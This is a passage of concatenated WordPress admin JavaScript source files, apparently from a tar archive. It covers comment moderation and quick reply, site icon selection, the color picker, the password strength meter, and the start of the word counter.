} else if ( targetParent.is( 'span.trash' ) ) { if ( approved ) { approvedDiff = -1; } else if ( unapproved ) { pendingDiff = -1; // The comment was in the spam queue. } else if ( spammed ) { spamDiff = -1; } // You can't trash an item on the Trash screen. trashDiff = 1; // User clicked "Restore". } else if ( targetParent.is( 'span.untrash' ) ) { if ( approved ) { pendingDiff = 1; } else if ( unapproved ) { approvedDiff = 1; } else if ( trashed ) { if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } // You can't go from Trash to Spam. // You can untrash on the Trash screen. trashDiff = -1; // User clicked "Approve". } else if ( targetParent.is( 'span.approve:not(.unspam):not(.untrash)' ) ) { approvedDiff = 1; pendingDiff = -1; // User clicked "Unapprove". } else if ( targetParent.is( 'span.unapprove:not(.unspam):not(.untrash)' ) ) { approvedDiff = -1; pendingDiff = 1; // User clicked "Delete Permanently". } else if ( targetParent.is( 'span.delete' ) ) { if ( spammed ) { spamDiff = -1; } else if ( trashed ) { trashDiff = -1; } } if ( pendingDiff ) { updatePending( pendingDiff, commentPostId ); updateCountText( 'span.all-count', pendingDiff ); } if ( approvedDiff ) { updateApproved( approvedDiff, commentPostId ); updateCountText( 'span.all-count', approvedDiff ); } if ( spamDiff ) { updateCountText( 'span.spam-count', spamDiff ); } if ( trashDiff ) { updateCountText( 'span.trash-count', trashDiff ); } if ( ( ( 'trash' === settings.data.comment_status ) && !getCount( $( 'span.trash-count' ) ) ) || ( ( 'spam' === settings.data.comment_status ) && !getCount( $( 'span.spam-count' ) ) ) ) { $( '#delete_all' ).hide(); } if ( ! isDashboard ) { total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0; if ( $(settings.target).parent().is('span.undo') ) total++; else total--; if ( total < 0 ) total = 0; if ( 'object' === typeof r ) { if ( response.supplemental.total_items_i18n && lastConfidentTime < response.supplemental.time ) { total_items_i18n = response.supplemental.total_items_i18n || ''; if ( total_items_i18n ) { $('.displaying-num').text( total_items_i18n.replace( ' ', String.fromCharCode( 160 ) ) ); $('.total-pages').text( response.supplemental.total_pages_i18n.replace( ' ', String.fromCharCode( 160 ) ) ); $('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', response.supplemental.total_pages == $('.current-page').val()); } updateTotalCount( total, response.supplemental.time, true ); } else if ( response.supplemental.time ) { updateTotalCount( total, response.supplemental.time, false ); } } else { updateTotalCount( total, r, false ); } } if ( ! theExtraList || theExtraList.length === 0 || theExtraList.children().length === 0 || undoing ) { return; } theList.get(0).wpList.add( theExtraList.children( ':eq(0):not(.no-items)' ).remove().clone() ); refillTheExtraList(); animated = $( ':animated', '#the-comment-list' ); animatedCallback = function() { if ( ! $( '#the-comment-list tr:visible' ).length ) { theList.get(0).wpList.add( theExtraList.find( '.no-items' ).clone() ); } }; if ( animated.length ) { animated.promise().done( animatedCallback ); } else { animatedCallback(); } }; /** * Retrieves additional comments to populate the extra list. * * @since 3.1.0 * @access private * * @param {boolean} [ev] Repopulate the extra comments list if true. * * @return {void} */ refillTheExtraList = function(ev) { var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val(); if (! args.paged) args.paged = 1; if (args.paged > total_pages) { return; } if (ev) { theExtraList.empty(); args.number = Math.min(8, per_page); // See WP_Comments_List_Table::prepare_items() in class-wp-comments-list-table.php. } else { args.number = 1; args.offset = Math.min(8, per_page) - 1; // Fetch only the next item on the extra list. } args.no_placeholder = true; args.paged ++; // $.query.get() needs some correction to be sent into an Ajax request. if ( true === args.comment_type ) args.comment_type = ''; args = $.extend(args, { 'action': 'fetch-list', 'list_args': list_args, '_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val() }); $.ajax({ url: ajaxurl, global: false, dataType: 'json', data: args, success: function(response) { theExtraList.get(0).wpList.add( response.rows ); } }); }; /** * Globally available jQuery object referring to the extra comments list. * * @global */ window.theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } ); /** * Globally available jQuery object referring to the comments list. * * @global */ window.theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } ) .on('wpListDelEnd', function(e, s){ var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, ''); if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 ) $('#undo-' + id).fadeIn(300, function(){ $(this).show(); }); }); }; /** * Object containing functionality regarding the comment quick editor and reply * editor. * * @since 2.7.0 * * @global */ window.commentReply = { cid : '', act : '', originalContent : '', /** * Initializes the comment reply functionality. * * @since 2.7.0 * * @memberof commentReply */ init : function() { var row = $('#replyrow'); $( '.cancel', row ).on( 'click', function() { return commentReply.revert(); } ); $( '.save', row ).on( 'click', function() { return commentReply.send(); } ); $( 'input#author-name, input#author-email, input#author-url', row ).on( 'keypress', function( e ) { if ( e.which == 13 ) { commentReply.send(); e.preventDefault(); return false; } }); // Add events. $('#the-comment-list .column-comment > p').on( 'dblclick', function(){ commentReply.toggle($(this).parent()); }); $('#doaction, #post-query-submit').on( 'click', function(){ if ( $('#the-comment-list #replyrow').length > 0 ) commentReply.close(); }); this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || ''; }, /** * Adds doubleclick event handler to the given comment list row. * * The double-click event will toggle the comment edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @param {Object} r The row to add double click handlers to. * * @return {void} */ addEvents : function(r) { r.each(function() { $(this).find('.column-comment > p').on( 'dblclick', function(){ commentReply.toggle($(this).parent()); }); }); }, /** * Opens the quick edit for the given element. * * @since 2.7.0 * * @memberof commentReply * * @param {HTMLElement} el The element you want to open the quick editor for. * * @return {void} */ toggle : function(el) { if ( 'none' !== $( el ).css( 'display' ) && ( $( '#replyrow' ).parent().is('#com-reply') || window.confirm( __( 'Are you sure you want to edit this comment?\nThe changes you made will be lost.' ) ) ) ) { $( el ).find( 'button.vim-q' ).trigger( 'click' ); } }, /** * Closes the comment quick edit or reply form and undoes any changes. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ revert : function() { if ( $('#the-comment-list #replyrow').length < 1 ) return false; $('#replyrow').fadeOut('fast', function(){ commentReply.close(); }); }, /** * Closes the comment quick edit or reply form and undoes any changes. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ close : function() { var commentRow = $(), replyRow = $( '#replyrow' ); // Return if the replyrow is not showing. if ( replyRow.parent().is( '#com-reply' ) ) { return; } if ( this.cid ) { commentRow = $( '#comment-' + this.cid ); } /* * When closing the Quick Edit form, show the comment row and move focus * back to the Quick Edit button. */ if ( 'edit-comment' === this.act ) { commentRow.fadeIn( 300, function() { commentRow .show() .find( '.vim-q' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } ).css( 'backgroundColor', '' ); } // When closing the Reply form, move focus back to the Reply button. if ( 'replyto-comment' === this.act ) { commentRow.find( '.vim-r' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } // Reset the Quicktags buttons. if ( typeof QTags != 'undefined' ) QTags.closeAllTags('replycontent'); $('#add-new-comment').css('display', ''); replyRow.hide(); $( '#com-reply' ).append( replyRow ); $('#replycontent').css('height', '').val(''); $('#edithead input').val(''); $( '.notice-error', replyRow ) .addClass( 'hidden' ) .find( '.error' ).empty(); $( '.spinner', replyRow ).removeClass( 'is-active' ); this.cid = ''; this.originalContent = ''; }, /** * Opens the comment quick edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @param {number} comment_id The comment ID to open an editor for. * @param {number} post_id The post ID to open an editor for. * @param {string} action The action to perform. Either 'edit' or 'replyto'. * * @return {boolean} Always false. */ open : function(comment_id, post_id, action) { var editRow, rowData, act, replyButton, editHeight, t = this, c = $('#comment-' + comment_id), h = c.height(), colspanVal = 0; if ( ! this.discardCommentChanges() ) { return false; } t.close(); t.cid = comment_id; editRow = $('#replyrow'); rowData = $('#inline-'+comment_id); action = action || 'replyto'; act = 'edit' == action ? 'edit' : 'replyto'; act = t.act = act + '-comment'; t.originalContent = $('textarea.comment', rowData).val(); colspanVal = $( '> th:visible, > td:visible', c ).length; // Make sure it's actually a table and there's a `colspan` value to apply. if ( editRow.hasClass( 'inline-edit-row' ) && 0 !== colspanVal ) { $( 'td', editRow ).attr( 'colspan', colspanVal ); } $('#action', editRow).val(act); $('#comment_post_ID', editRow).val(post_id); $('#comment_ID', editRow).val(comment_id); if ( action == 'edit' ) { $( '#author-name', editRow ).val( $( 'div.author', rowData ).text() ); $('#author-email', editRow).val( $('div.author-email', rowData).text() ); $('#author-url', editRow).val( $('div.author-url', rowData).text() ); $('#status', editRow).val( $('div.comment_status', rowData).text() ); $('#replycontent', editRow).val( $('textarea.comment', rowData).val() ); $( '#edithead, #editlegend, #savebtn', editRow ).show(); $('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide(); if ( h > 120 ) { // Limit the maximum height when editing very long comments to make it more manageable. // The textarea is resizable in most browsers, so the user can adjust it if needed. editHeight = h > 500 ? 500 : h; $('#replycontent', editRow).css('height', editHeight + 'px'); } c.after( editRow ).fadeOut('fast', function(){ $('#replyrow').fadeIn(300, function(){ $(this).show(); }); }); } else if ( action == 'add' ) { $('#addhead, #addbtn', editRow).show(); $( '#replyhead, #replybtn, #edithead, #editlegend, #savebtn', editRow ) .hide(); $('#the-comment-list').prepend(editRow); $('#replyrow').fadeIn(300); } else { replyButton = $('#replybtn', editRow); $( '#edithead, #editlegend, #savebtn, #addhead, #addbtn', editRow ).hide(); $('#replyhead, #replybtn', editRow).show(); c.after(editRow); if ( c.hasClass('unapproved') ) { replyButton.text( __( 'Approve and Reply' ) ); } else { replyButton.text( __( 'Reply' ) ); } $('#replyrow').fadeIn(300, function(){ $(this).show(); }); } setTimeout(function() { var rtop, rbottom, scrollTop, vp, scrollBottom, isComposing = false, isContextMenuOpen = false; rtop = $('#replyrow').offset().top; rbottom = rtop + $('#replyrow').height(); scrollTop = window.pageYOffset || document.documentElement.scrollTop; vp = document.documentElement.clientHeight || window.innerHeight || 0; scrollBottom = scrollTop + vp; if ( scrollBottom - 20 < rbottom ) window.scroll(0, rbottom - vp + 35); else if ( rtop - 20 < scrollTop ) window.scroll(0, rtop - 35); $( '#replycontent' ) .trigger( 'focus' ) .on( 'contextmenu keydown', function ( e ) { // Check if the context menu is open and set state. if ( e.type === 'contextmenu' ) { isContextMenuOpen = true; } // Update the context menu state if the Escape key is pressed. if ( e.type === 'keydown' && e.which === 27 && isContextMenuOpen ) { isContextMenuOpen = false; } } ) .on( 'keyup', function( e ) { // Close on Escape unless Input Method Editors (IMEs) are in use or the context menu is open. if ( e.which === 27 && ! isComposing && ! isContextMenuOpen ) { commentReply.revert(); } } ) .on( 'compositionstart', function() { isComposing = true; } ); }, 600); return false; }, /** * Submits the comment quick edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ send : function() { var post = {}, $errorNotice = $( '#replysubmit .error-notice' ); $errorNotice.addClass( 'hidden' ); $( '#replysubmit .spinner' ).addClass( 'is-active' ); $('#replyrow input').not(':button').each(function() { var t = $(this); post[ t.attr('name') ] = t.val(); }); post.content = $('#replycontent').val(); post.id = post.comment_post_ID; post.comments_listing = this.comments_listing; post.p = $('[name="p"]').val(); if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') ) post.approve_parent = 1; $.ajax({ type : 'POST', url : ajaxurl, data : post, success : function(x) { commentReply.show(x); }, error : function(r) { commentReply.error(r); } }); }, /** * Shows the new or updated comment or reply. * * This function needs to be passed the ajax result as received from the server. * It will handle the response and show the comment that has just been saved to * the server. * * @since 2.7.0 * * @memberof commentReply * * @param {Object} xml Ajax response object. * * @return {void} */ show : function(xml) { var t = this, r, c, id, bg, pid; if ( typeof(xml) == 'string' ) { t.error({'responseText': xml}); return false; } r = wpAjax.parseAjaxResponse(xml); if ( r.errors ) { t.error({'responseText': wpAjax.broken}); return false; } t.revert(); r = r.responses[0]; id = '#comment-' + r.id; if ( 'edit-comment' == t.act ) $(id).remove(); if ( r.supplemental.parent_approved ) { pid = $('#comment-' + r.supplemental.parent_approved); updatePending( -1, r.supplemental.parent_post_id ); if ( this.comments_listing == 'moderated' ) { pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){ pid.fadeOut(); }); return; } } if ( r.supplemental.i18n_comments_text ) { updateDashboardText( r.supplemental ); updateInModerationText( r.supplemental ); updateApproved( 1, r.supplemental.parent_post_id ); updateCountText( 'span.all-count', 1 ); } r.data = r.data || ''; c = r.data.toString().trim(); // Trim leading whitespaces. $(c).hide(); $('#replyrow').after(c); id = $(id); t.addEvents(id); bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor'); id.animate( { 'backgroundColor':'#CCEEBB' }, 300 ) .animate( { 'backgroundColor': bg }, 300, function() { if ( pid && pid.length ) { pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 ) .animate( { 'backgroundColor': bg }, 300 ) .removeClass('unapproved').addClass('approved') .find('div.comment_status').html('1'); } }); }, /** * Shows an error for the failed comment update or reply. * * @since 2.7.0 * * @memberof commentReply * * @param {string} r The Ajax response. * * @return {void} */ error : function(r) { var er = r.statusText, $errorNotice = $( '#replysubmit .notice-error' ), $error = $errorNotice.find( '.error' ); $( '#replysubmit .spinner' ).removeClass( 'is-active' ); if ( r.responseText ) er = r.responseText.replace( /<.[^<>]*?>/g, '' ); if ( er ) { $errorNotice.removeClass( 'hidden' ); $error.html( er ); wp.a11y.speak( er ); } }, /** * Opens the add comments form in the comments metabox on the post edit page. * * @since 3.4.0 * * @memberof commentReply * * @param {number} post_id The post ID. * * @return {void} */ addcomment: function(post_id) { var t = this; $('#add-new-comment').fadeOut(200, function(){ t.open(0, post_id, 'add'); $('table.comments-box').css('display', ''); $('#no-comments').remove(); }); }, /** * Alert the user if they have unsaved changes on a comment that will be lost if * they proceed with the intended action. * * @since 4.6.0 * * @memberof commentReply * * @return {boolean} Whether it is safe the continue with the intended action. */ discardCommentChanges: function() { var editRow = $( '#replyrow' ); if ( '' === $( '#replycontent', editRow ).val() || this.originalContent === $( '#replycontent', editRow ).val() ) { return true; } return window.confirm( __( 'Are you sure you want to do this?\nThe comment changes you made will be lost.' ) ); } }; $( function(){ var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk; setCommentsList(); commentReply.init(); $(document).on( 'click', 'span.delete a.delete', function( e ) { e.preventDefault(); }); if ( typeof $.table_hotkeys != 'undefined' ) { /** * Creates a function that navigates to a previous or next page. * * @since 2.7.0 * @access private * * @param {string} which What page to navigate to: either next or prev. * * @return {Function} The function that executes the navigation. */ make_hotkeys_redirect = function(which) { return function() { var first_last, l; first_last = 'next' == which? 'first' : 'last'; l = $('.tablenav-pages .'+which+'-page:not(.disabled)'); if (l.length) window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1'; }; }; /** * Navigates to the edit page for the selected comment. * * @since 2.7.0 * @access private * * @param {Object} event The event that triggered this action. * @param {Object} current_row A jQuery object of the selected row. * * @return {void} */ edit_comment = function(event, current_row) { window.location = $('span.edit a', current_row).attr('href'); }; /** * Toggles all comments on the screen, for bulk actions. * * @since 2.7.0 * @access private * * @return {void} */ toggle_all = function() { $('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' ); }; /** * Creates a bulk action function that is executed on all selected comments. * * @since 2.7.0 * @access private * * @param {string} value The name of the action to execute. * * @return {Function} The function that executes the bulk action. */ make_bulk = function(value) { return function() { var scope = $('select[name="action"]'); $('option[value="' + value + '"]', scope).prop('selected', true); $('#doaction').trigger( 'click' ); }; }; $.table_hotkeys( $('table.widefat'), [ 'a', 'u', 's', 'd', 'r', 'q', 'z', ['e', edit_comment], ['shift+x', toggle_all], ['shift+a', make_bulk('approve')], ['shift+s', make_bulk('spam')], ['shift+d', make_bulk('delete')], ['shift+t', make_bulk('trash')], ['shift+z', make_bulk('untrash')], ['shift+u', make_bulk('unapprove')] ], { highlight_first: adminCommentsSettings.hotkeys_highlight_first, highlight_last: adminCommentsSettings.hotkeys_highlight_last, prev_page_link_cb: make_hotkeys_redirect('prev'), next_page_link_cb: make_hotkeys_redirect('next'), hotkeys_opts: { disableInInput: true, type: 'keypress', noDisable: '.check-column input[type="checkbox"]' }, cycle_expr: '#the-comment-list tr', start_row_index: 0 } ); } // Quick Edit and Reply have an inline comment editor. $( '#the-comment-list' ).on( 'click', '.comment-inline', function() { var $el = $( this ), action = 'replyto'; if ( 'undefined' !== typeof $el.data( 'action' ) ) { action = $el.data( 'action' ); } $( this ).attr( 'aria-expanded', 'true' ); commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action ); } ); }); })(jQuery); site-icon.js 0000644 00000014143 15174417325 0007010 0 ustar 00 /** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery ); color-picker.min.js 0000644 00000006636 15174417325 0010301 0 ustar 00 /*! This file is auto-generated */ !function(i,t){var a=wp.i18n.__;i.widget("wp.wpColorPicker",{options:{defaultColor:!1,change:!1,clear:!1,hide:!0,palettes:!0,width:255,mode:"hsv",type:"full",slider:"horizontal"},_createHueOnly:function(){var e,o=this,t=o.element;t.hide(),e="hsl("+t.val()+", 100, 50)",t.iris({mode:"hsl",type:"hue",hide:!1,color:e,change:function(e,t){"function"==typeof o.options.change&&o.options.change.call(this,e,t)},width:o.options.width,slider:o.options.slider})},_create:function(){if(i.support.iris){var o=this,e=o.element;if(i.extend(o.options,e.data()),"hue"===o.options.type)return o._createHueOnly();o.close=o.close.bind(o),o.initialValue=e.val(),e.addClass("wp-color-picker"),e.parent("label").length||(e.wrap("<label></label>"),o.wrappingLabelText=i('<span class="screen-reader-text"></span>').insertBefore(e).text(a("Color value"))),o.wrappingLabel=e.parent(),o.wrappingLabel.wrap('<div class="wp-picker-container" />'),o.wrap=o.wrappingLabel.parent(),o.toggler=i('<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>').insertBefore(o.wrappingLabel).css({backgroundColor:o.initialValue}),o.toggler.find(".wp-color-result-text").text(a("Select Color")),o.pickerContainer=i('<div class="wp-picker-holder" />').insertAfter(o.wrappingLabel),o.button=i('<input type="button" class="button button-small" />'),o.options.defaultColor?o.button.addClass("wp-picker-default").val(a("Default")).attr("aria-label",a("Select default color")):o.button.addClass("wp-picker-clear").val(a("Clear")).attr("aria-label",a("Clear color")),o.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(o.button),o.inputWrapper=e.closest(".wp-picker-input-wrap"),e.iris({target:o.pickerContainer,hide:o.options.hide,width:o.options.width,mode:o.options.mode,palettes:o.options.palettes,change:function(e,t){o.toggler.css({backgroundColor:t.color.toString()}),"function"==typeof o.options.change&&o.options.change.call(this,e,t)}}),e.val(o.initialValue),o._addListeners(),o.options.hide||o.toggler.click()}},_addListeners:function(){var o=this;o.wrap.on("click.wpcolorpicker",function(e){e.stopPropagation()}),o.toggler.on("click",function(){o.toggler.hasClass("wp-picker-open")?o.close():o.open()}),o.element.on("change",function(e){var t=i(this).val();""!==t&&"#"!==t||(o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e))}),o.button.on("click",function(e){var t=i(this);t.hasClass("wp-picker-clear")?(o.element.val(""),o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e)):t.hasClass("wp-picker-default")&&o.element.val(o.options.defaultColor).change()})},open:function(){this.element.iris("toggle"),this.inputWrapper.removeClass("hidden"),this.wrap.addClass("wp-picker-active"),this.toggler.addClass("wp-picker-open").attr("aria-expanded","true"),i("body").trigger("click.wpcolorpicker").on("click.wpcolorpicker",this.close)},close:function(){this.element.iris("toggle"),this.inputWrapper.addClass("hidden"),this.wrap.removeClass("wp-picker-active"),this.toggler.removeClass("wp-picker-open").attr("aria-expanded","false"),i("body").off("click.wpcolorpicker",this.close)},color:function(e){if(e===t)return this.element.iris("option","color");this.element.iris("option","color",e)},defaultColor:function(e){if(e===t)return this.options.defaultColor;this.options.defaultColor=e}})}(jQuery); password-strength-meter.js 0000644 00000010214 15174417325 0011721 0 ustar 00 /** * @output wp-admin/js/password-strength-meter.js */ /* global zxcvbn */ window.wp = window.wp || {}; (function($){ var __ = wp.i18n.__, sprintf = wp.i18n.sprintf; /** * Contains functions to determine the password strength. * * @since 3.7.0 * * @namespace */ wp.passwordStrength = { /** * Determines the strength of a given password. * * Compares first password to the password confirmation. * * @since 3.7.0 * * @param {string} password1 The subject password. * @param {Array} disallowedList An array of words that will lower the entropy of * the password. * @param {string} password2 The password confirmation. * * @return {number} The password strength score. */ meter : function( password1, disallowedList, password2 ) { if ( ! Array.isArray( disallowedList ) ) disallowedList = [ disallowedList.toString() ]; if (password1 != password2 && password2 && password2.length > 0) return 5; if ( 'undefined' === typeof window.zxcvbn ) { // Password strength unknown. return -1; } var result = zxcvbn( password1, disallowedList ); return result.score; }, /** * Builds an array of words that should be penalized. * * Certain words need to be penalized because it would lower the entropy of a * password if they were used. The disallowedList is based on user input fields such * as username, first name, email etc. * * @since 3.7.0 * @deprecated 5.5.0 Use {@see 'userInputDisallowedList()'} instead. * * @return {string[]} The array of words to be disallowed. */ userInputBlacklist : function() { window.console.log( sprintf( /* translators: 1: Deprecated function name, 2: Version number, 3: Alternative function name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code.' ), 'wp.passwordStrength.userInputBlacklist()', '5.5.0', 'wp.passwordStrength.userInputDisallowedList()' ) ); return wp.passwordStrength.userInputDisallowedList(); }, /** * Builds an array of words that should be penalized. * * Certain words need to be penalized because it would lower the entropy of a * password if they were used. The disallowed list is based on user input fields such * as username, first name, email etc. * * @since 5.5.0 * * @return {string[]} The array of words to be disallowed. */ userInputDisallowedList : function() { var i, userInputFieldsLength, rawValuesLength, currentField, rawValues = [], disallowedList = [], userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ]; // Collect all the strings we want to disallow. rawValues.push( document.title ); rawValues.push( document.URL ); userInputFieldsLength = userInputFields.length; for ( i = 0; i < userInputFieldsLength; i++ ) { currentField = $( '#' + userInputFields[ i ] ); if ( 0 === currentField.length ) { continue; } rawValues.push( currentField[0].defaultValue ); rawValues.push( currentField.val() ); } /* * Strip out non-alphanumeric characters and convert each word to an * individual entry. */ rawValuesLength = rawValues.length; for ( i = 0; i < rawValuesLength; i++ ) { if ( rawValues[ i ] ) { disallowedList = disallowedList.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) ); } } /* * Remove empty values, short words and duplicates. Short words are likely to * cause many false positives. */ disallowedList = $.grep( disallowedList, function( value, key ) { if ( '' === value || 4 > value.length ) { return false; } return $.inArray( value, disallowedList ) === key; }); return disallowedList; } }; // Backward compatibility. /** * Password strength meter function. * * @since 2.5.0 * @deprecated 3.7.0 Use wp.passwordStrength.meter instead. * * @global * * @type {wp.passwordStrength.meter} */ window.passwordStrength = wp.passwordStrength.meter; })(jQuery); word-count.js 0000644 00000017020 15174417325 0007214 0 ustar 00 /** * Word or character counting functionality. Count words or characters in a * provided text string. * * @namespace wp.utils * * @since 2.6.0 * @output wp-admin/js/word-count.js */ ( function() { /** * Word counting utility * * @namespace wp.utils.wordcounter * @memberof wp.utils * * @class * * @param {Object} settings Optional. Key-value object containing overrides for * settings. * @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements. * @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments. * @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space * characters. * @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities. * @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that * split words. * @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted * characters to reduce false-positives. * @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted * characters when searching for non-words. * @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces. * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which * are non-spaces. * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters * including spaces. * @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes. * @param {Object} settings.l10n Optional. Localization object containing specific * configuration for the current localization. * @param {string} settings.l10n.type Optional. Method of finding words to count. * @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed * from the text. * * @return {void} */ function WordCounter( settings ) { var key, shortcodes; // Apply provided settings to object settings. if ( settings ) { for ( key in settings ) { // Only apply valid settings. if ( settings.hasOwnProperty( key ) ) { this.settings[ key ] = settings[ key ]; } } } shortcodes = this.settings.l10n.shortcodes; // If there are any localization shortcodes, add this as type in the settings. if ( shortcodes && shortcodes.length ) { this.settings.shortcodesRegExp = 